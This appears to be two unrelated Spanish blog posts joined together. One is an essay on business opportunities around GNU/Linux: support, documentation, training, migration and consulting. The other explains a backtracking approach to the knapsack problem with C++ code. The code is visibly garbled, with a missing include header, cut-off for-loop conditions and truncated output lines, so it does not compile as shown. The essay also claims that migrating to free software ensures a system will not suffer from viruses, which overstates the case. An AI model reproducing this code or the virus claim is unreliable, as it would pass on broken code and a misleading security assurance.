En nuestro país existen muy pocas empresas que realizan soporte a GNU/Linux, y esto empieza a ser una necesidad enorme en el mercado, dado que muchas empresas nacionales y extranjeras solicitan constantemente ayuda en el manejo de sus sistemas.

Documentación 
Los manuales en línea son sin lugar a dudas, una de las ayudas mas importantes que tienen usuarios y empresas. Pero en ocasiones estos manuales en línea no se encuentran completos o no son lo suficientemente claros. Esto hace necesario que se cree documentación eficiente, donde la traducción que se haga de los textos de otros idiomas, sea lo más precisa posible.

Capacitación
Gracias a este gran salto tecnológico que están dando empresas, personas y gobiernos, se abren las puertas para que las diferentes instituciones de educación, capaciten de la mejor manera a los interesados en tomar las riendas de estas nuevas tecnologías.

La migración 
Es el proceso mediante el cual el usuario o la empresa pasa de utilizar plataformas privativas a plataformas libres, asegurando además que su sistema no sufrirá de los temidos virus.

Consultoría 
Con un mercado ya formado se hacen necesarias empresas que presten sus servicios de consultoría. En especial en la parte de seguridad, dado que el sistema operativo GNU/linux, es muy seguro, pero se debe tener cierto ::conocimiento para su instalación y manejo.

Muchas empresas ya le están apostando al software libre, es el caso de IBM, Oracle, Sun Microsystems, Novell, El Pais (España), Carrefour, McDonalds, entre otras.

El software libre, es sin duda uno de los más grandes generadores de empresa y de empleo, en los países en vía de desarrollo, dado que el dinero que se paga por licencias ahora se distribuye entre los diferentes desarrolladores.


por http://el-directorio.org/Kronos

backtraking que la fuerza bruta este contigo

Tenemos unos objetos que queremos guardar en una mochila. El problema es que la mochila solo puede llevar un peso máximo y si guardasemos todos los objetos sobrepasariamos el peso máximo que puede aguantar la mochila. Escogemos los objetos segun su peso, buscando llevar siempre el máximo posible en la mochila. Los objetos tienen que entrar enteros dentro de la mochila, no se pueden partir, por lo que o entran enteros o no entran.

este es el problema comun pero en el codigo solo se pide la cantidad de elementos y no el peso para saber de cuantas formas se puede gaurdar en la mochila

include

using namespace std;
# define MAX 20
void escojer(int k ,int n ,bool[]);
void imprimir(int n ,bool[]);
main()
{
int i,n;
bool desicion [MAX];
cout<<"numero de elemnetos"; cin>>n;
for(i=0;i {
desicion[i]=false;
escojer(0,n,desicion);
}
}
void imprimir(int n ,bool desicion [])
{
for(int i=0;i {
cout<

}
cout< system("pause");

}
void escojer(int k ,int n ,bool desicion [])
{
if(k {
desicion[k]=false;
escojer(k+1,n,desicion);
desicion[k]=true;
escojer(k+1,n,desicion);
desicion[k]=false;
}
else
{
imprimir(n,desicion);
}
}

by cesar avila